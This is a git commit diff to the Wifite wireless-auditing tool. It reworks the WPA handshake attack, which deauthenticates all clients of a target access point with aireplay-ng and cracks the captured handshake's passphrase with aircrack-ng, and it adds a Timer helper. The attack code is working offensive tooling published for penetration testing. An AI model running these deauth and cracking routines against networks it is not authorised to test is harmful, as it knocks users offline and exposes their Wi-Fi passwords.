Timer module. WPA Handshake attack is prettier.

1. Timer module for timing things. Should've done this a while ago.
2. WPA handshake attack outputs # of clients, lists all clients, has countdown
3. WPA Handshake Attack deauths all clients at the same time.
4. Fixed bug where WPA handshake attack never timed out. Fixes #23
5. WPA Cracking via aircrack-ng shows percentage & ETA.
6. Mild refactoring / cleanup of AttackWPA module.
This commit is contained in:
derv82
2017-05-16 19:02:57 -04:00
parent a8337a47a7
commit bcde906a77
5 changed files with 164 additions and 112 deletions

View File

@@ -94,7 +94,7 @@ class Wifite(object):
Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (index + 1, len(targets)) + Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (index + 1, len(targets)) +
' starting attacks against {C}%s{W} ({C}%s{W})' ' starting attacks against {C}%s{W} ({C}%s{W})'
% (t.bssid, t.essid)) % (t.bssid, t.essid if t.essid_known else "{O}ESSID unknown"))
if 'WEP' in t.encryption: if 'WEP' in t.encryption:
attack = AttackWEP(t) attack = AttackWEP(t)
elif 'WPA' in t.encryption: elif 'WPA' in t.encryption:

View File

@@ -3,11 +3,13 @@
from Attack import Attack from Attack import Attack
from Airodump import Airodump from Airodump import Airodump
from Aireplay import Aireplay
from Color import Color from Color import Color
from Configuration import Configuration from Configuration import Configuration
from Handshake import Handshake from Handshake import Handshake
from Process import Process from Process import Process
from CrackResultWPA import CrackResultWPA from CrackResultWPA import CrackResultWPA
from Timer import Timer
import time import time
import os import os
@@ -17,6 +19,7 @@ from shutil import copy
class AttackWPA(Attack): class AttackWPA(Attack):
def __init__(self, target): def __init__(self, target):
super(AttackWPA, self).__init__(target) super(AttackWPA, self).__init__(target)
self.clients = []
self.crack_result = None self.crack_result = None
self.success = False self.success = False
@@ -41,30 +44,26 @@ class AttackWPA(Attack):
Color.pattack("WPA", self.target, "Handshake capture", "Waiting for target to appear...") Color.pattack("WPA", self.target, "Handshake capture", "Waiting for target to appear...")
airodump_target = self.wait_for_target(airodump) airodump_target = self.wait_for_target(airodump)
# Get client station MAC addresses self.clients = []
clients = [c.station for c in airodump_target.clients]
client_index = 0
handshake = None handshake = None
time_since_deauth = time.time() timeout_timer = Timer(Configuration.wpa_attack_timeout)
deauth_timer = Timer(Configuration.wpa_deauth_timeout)
deauth_proc = None while handshake is None and not timeout_timer.ended():
step_timer = Timer(1)
while True: Color.clear_entire_line()
if not deauth_proc or deauth_proc.poll() != None: Color.pattack("WPA",
# Clear line only if we're not deauthing right now airodump_target,
Color.clear_entire_line() "Handshake capture",
Color.pattack("WPA", airodump_target, "Handshake capture", "Waiting for handshake...") "Listening. (clients:{G}%d{W}, deauth:{O}%s{W}, timeout:{R}%s{W})" % (len(self.clients), deauth_timer, timeout_timer))
#Color.p('\r{+} {C}WPA-handshake attack{W}: ')
#Color.p('waiting for {C}handshake{W}...')
time.sleep(1)
# Find .cap file # Find .cap file
cap_files = airodump.find_files(endswith='.cap') cap_files = airodump.find_files(endswith='.cap')
if len(cap_files) == 0: if len(cap_files) == 0:
# No cap files yet # No cap files yet
time.sleep(step_timer.remaining())
continue continue
cap_file = cap_files[0] cap_file = cap_files[0]
@@ -74,9 +73,7 @@ class AttackWPA(Attack):
# Check cap file in temp for Handshake # Check cap file in temp for Handshake
bssid = airodump_target.bssid bssid = airodump_target.bssid
essid = None essid = airodump_target.essid if airodump_target.essid_known else None
if airodump_target.essid_known:
essid = airodump_target.essid
handshake = Handshake(temp_file, bssid=bssid, essid=essid) handshake = Handshake(temp_file, bssid=bssid, essid=essid)
if handshake.has_handshake(): if handshake.has_handshake():
# We got a handshake # We got a handshake
@@ -88,44 +85,34 @@ class AttackWPA(Attack):
# Delete copied .cap file in temp to save space # Delete copied .cap file in temp to save space
os.remove(temp_file) os.remove(temp_file)
# Check status of deauth process
if deauth_proc and deauth_proc.poll() == None:
# Deauth process is still running
time_since_deauth = time.time()
# Look for new clients # Look for new clients
airodump_target = self.wait_for_target(airodump) airodump_target = self.wait_for_target(airodump)
for client in airodump_target.clients: for client in airodump_target.clients:
if client.station not in clients: if client.station not in self.clients:
Color.clear_entire_line() Color.clear_entire_line()
Color.pl('\r{+} discovered new {G}client{W}: {C}%s{W}' % client.station) Color.pattack("WPA",
clients.append(client.station) airodump_target,
"Handshake capture",
"Discovered new client: {G}%s{W}" % client.station)
Color.pl("")
self.clients.append(client.station)
# Send deauth to a client or broadcast # Send deauth to a client or broadcast
if time.time()-time_since_deauth > Configuration.wpa_deauth_timeout: if deauth_timer.ended():
# We are N seconds since last deauth was sent, self.deauth(airodump_target)
# And the deauth process is not running. # Restart timer
if len(clients) == 0 or client_index >= len(clients): deauth_timer = Timer(Configuration.wpa_deauth_timeout)
deauth_proc = self.deauth(bssid)
client_index = 0
else:
client = clients[client_index]
deauth_proc = self.deauth(bssid, client)
client_index += 1
time_since_deauth = time.time()
continue
# Stop the deauth process if needed # Sleep for at-most 1 second
if deauth_proc and deauth_proc.poll() == None: time.sleep(step_timer.remaining())
deauth_proc.interrupt() continue # Handshake listen+deauth loop
if not handshake: if not handshake:
# No handshake, attack failed. # No handshake, attack failed.
Color.pl("\n{!} {O}WPA handshake capture {R}FAILED:{O} Timed out after %d seconds" % (Configuration.wpa_attack_timeout))
self.success = False self.success = False
return self.success return self.success
key = None
# Save copy of handshake to ./hs/ # Save copy of handshake to ./hs/
self.save_handshake(handshake) self.save_handshake(handshake)
@@ -133,51 +120,87 @@ class AttackWPA(Attack):
Color.pl('\n{+} analysis of captured handshake file:') Color.pl('\n{+} analysis of captured handshake file:')
handshake.analyze() handshake.analyze()
# Crack handshake # Try to crack handshake
wordlist = Configuration.wordlist key = self.crack_handshake(handshake, Configuration.wordlist)
if wordlist != None: if key is None:
wordlist_name = wordlist.split(os.sep)[-1] self.success = False
if not os.path.exists(wordlist): else:
Color.pl('{!} {R}unable to crack:' + self.crack_result = CrackResultWPA(bssid, essid, handshake.capfile, key)
' wordlist {O}%s{R} does not exist{W}' % wordlist) self.crack_result.dump()
else: self.success = True
# We have a wordlist we can use
Color.p('\n{+} {C}cracking handshake{W}' +
' using {C}aircrack-ng{W}' +
' with {C}%s{W} wordlist' % wordlist_name)
# TODO: More-verbose cracking status
# 1. Read number of lines in 'wordlist'
# 2. Pipe aircrack stdout to file
# 3. Read from file every second, get keys tried so far
# 4. Display # of keys tried / total keys, and ETA
key_file = Configuration.temp('wpakey.txt')
command = [
'aircrack-ng',
'-a', '2',
'-w', wordlist,
'-l', key_file,
handshake.capfile
]
aircrack = Process(command, devnull=True)
aircrack.wait()
if os.path.exists(key_file):
# We cracked it.
Color.pl('\n\n{+} {G}successfully cracked PSK{W}\n')
f = open(key_file, 'r')
key = f.read()
f.close()
else:
Color.pl('\n{!} {R}handshake crack failed:' +
' {O}%s did not contain password{W}'
% wordlist.split(os.sep)[-1])
self.crack_result = CrackResultWPA(bssid, essid, handshake.capfile, key)
self.crack_result.dump()
self.success = True
return self.success return self.success
def crack_handshake(self, handshake, wordlist):
'''Tries to crack a handshake. Returns WPA key if found, otherwise None.'''
if wordlist is None:
Color.pl("{!} {O}Not cracking handshake because" +
" wordlist ({R}--dict{O}) is not set")
return None
elif not os.path.exists(wordlist):
Color.pl("{!} {O}Not cracking handshake because" +
" wordlist {R}%s{O} was not found" % wordlist)
return None
Color.pl("\n{+} {C}Cracking Handshake:{W} Using {C}aircrack-ng{W} via" +
" {C}%s{W} wordlist" % os.path.split(wordlist)[-1])
key_file = Configuration.temp('wpakey.txt')
command = [
"aircrack-ng",
"-a", "2",
"-w", wordlist,
"--bssid", handshake.bssid,
"-l", key_file,
handshake.capfile
]
crack_proc = Process(command)
# Report progress of cracking
aircrack_nums_re = re.compile(r"(\d+)/(\d+) keys tested.*\(([\d.]+)\s+k/s")
aircrack_key_re = re.compile(r"Current passphrase:\s*([^\s].*[^\s])\s*$")
num_tried = num_total = 0
percent = num_kps = 0.0
eta_str = "unknown"
current_key = ''
while crack_proc.poll() is None:
line = crack_proc.pid.stdout.readline()
match_nums = aircrack_nums_re.search(line)
match_keys = aircrack_key_re.search(line)
if match_nums:
num_tried = int(match_nums.group(1))
num_total = int(match_nums.group(2))
num_kps = float(match_nums.group(3))
eta_seconds = (num_total - num_tried) / num_kps
eta_str = Timer.secs_to_str(eta_seconds)
percent = 100.0 * float(num_tried) / float(num_total)
elif match_keys:
current_key = match_keys.group(1)
else:
continue
status = "\r{+} {C}Cracking Handshake: %0.2f%%{W}" % percent
status += " ETA: {C}%s{W}" % eta_str
status += " @ {C}%0.1fkps{W}" % num_kps
#status += " ({C}%d{W}/{C}%d{W} keys)" % (num_tried, num_total)
status += " (current key: {C}%s{W})" % current_key
Color.clear_entire_line()
Color.p(status)
Color.pl("")
# Check crack result
if os.path.exists(key_file):
f = open(key_file, "r")
key = f.read().strip()
f.close()
os.remove(key_file)
Color.pl("{+} {G}Cracked Handshake{W} PSK: {G}%s{W}\n" % key)
return key
else:
Color.pl("{!} {R}Failed to crack handshake:" +
" {O}%s{R} did not contain password{W}" % wordlist.split(os.sep)[-1])
return None
def save_handshake(self, handshake): def save_handshake(self, handshake):
''' '''
@@ -209,32 +232,25 @@ class AttackWPA(Attack):
handshake.capfile = cap_filename handshake.capfile = cap_filename
def deauth(self, target_bssid, station_bssid=None): def deauth(self, target):
''' '''
Sends deauthentication request. Sends deauthentication request to broadcast and every client of target.
Args: Args:
target_bssid - AP BSSID to deauth target - The Target to deauth, including clients.
station_bssid - Client BSSID to deauth
Deauths 'broadcast' if no client is specified.
''' '''
if Configuration.no_deauth: return if Configuration.no_deauth: return
target_name = station_bssid for index, client in enumerate([None] + self.clients):
if target_name == None: if client is None:
target_name = 'broadcast' target_name = "*broadcast*"
command = [ else:
'aireplay-ng', target_name = client
'-0', # Deauthentication Color.clear_entire_line()
'1', # Number of deauths to perform. Color.pattack("WPA",
'-a', self.target.bssid target,
] "Handshake capture",
command.append('--ignore-negative-one') "Deauthing {O}%s{W}" % target_name)
if station_bssid: Aireplay.deauth(target.bssid, client_mac=client, num_deauths=1, timeout=2)
# Deauthing a specific client
command.extend(['-c', station_bssid])
command.append(Configuration.interface)
Color.p(' {C}sending deauth{W} to {C}%s{W}' % target_name)
return Process(command)
if __name__ == '__main__': if __name__ == '__main__':
from Target import Target from Target import Target

View File

@@ -55,7 +55,7 @@ class Configuration(object):
# WPA variables # WPA variables
Configuration.wpa_filter = False # Only attack WPA networks Configuration.wpa_filter = False # Only attack WPA networks
Configuration.wpa_deauth_timeout = 10 # Wait time between deauths Configuration.wpa_deauth_timeout = 15 # Wait time between deauths
Configuration.wpa_attack_timeout = 500 # Wait time before failing Configuration.wpa_attack_timeout = 500 # Wait time before failing
Configuration.wpa_handshake_dir = "hs" # Dir to store handshakes Configuration.wpa_handshake_dir = "hs" # Dir to store handshakes
Configuration.wpa_strip_handshake = False # Strip non-handshake packets Configuration.wpa_strip_handshake = False # Strip non-handshake packets
@@ -172,10 +172,10 @@ class Configuration(object):
Color.pl('{+} {C}option:{O} wordlist {R}%s{O} was not found, using {R}%s{W}' % (args.wordlist, Configuration.wordlist)) Color.pl('{+} {C}option:{O} wordlist {R}%s{O} was not found, using {R}%s{W}' % (args.wordlist, Configuration.wordlist))
if args.wpa_deauth_timeout: if args.wpa_deauth_timeout:
Configuration.wpa_deauth_timeout = args.wpa_deauth_timeout Configuration.wpa_deauth_timeout = args.wpa_deauth_timeout
Color.pl('{+} {C}option:{W} will timeout WPA deauth tries after {G}%d seconds{W}' % args.wpa_deauth_timeout) Color.pl('{+} {C}option:{W} will deauth WPA clients every {G}%d seconds{W}' % args.wpa_deauth_timeout)
if args.wpa_attack_timeout: if args.wpa_attack_timeout:
Configuration.wpa_attack_timeout = args.wpa_attack_timeout Configuration.wpa_attack_timeout = args.wpa_attack_timeout
Color.pl('{+} {C}option:{W} will timeout WPA attacks after {G}%d seconds{W}' % args.wpa_attack_timeout) Color.pl('{+} {C}option:{W} will stop WPA handshake capture after {G}%d seconds{W}' % args.wpa_attack_timeout)
if args.wpa_handshake_dir: if args.wpa_handshake_dir:
Configuration.wpa_handshake_dir = args.wpa_handshake_dir Configuration.wpa_handshake_dir = args.wpa_handshake_dir
Color.pl('{+} {C}option:{W} will store handshakes to {G}%s{W}' % args.wpa_handshake_dir) Color.pl('{+} {C}option:{W} will store handshakes to {G}%s{W}' % args.wpa_handshake_dir)

36
py/Timer.py Normal file
View File

@@ -0,0 +1,36 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import time
class Timer(object):
def __init__(self, seconds):
self.start_time = time.time()
self.end_time = self.start_time + seconds
def remaining(self):
return max(0, self.end_time - time.time())
def ended(self):
return self.remaining() == 0
def running_time(self):
return time.time() - self.start_time
def __str__(self):
''' Time remaining in minutes (if > 1) and seconds, e.g. 5m23s'''
return Timer.secs_to_str(self.remaining())
@staticmethod
def secs_to_str(seconds):
'''Human-readable seconds. 193 -> 3m13s'''
rem = int(seconds)
hours = rem / 3600
mins = (rem % 3600) / 60
secs = rem % 60
if hours > 0:
return "%dh%dm%ds" % (hours, mins, secs)
elif mins > 0:
return "%dm%ds" % (mins, secs)
else:
return "%ds" % secs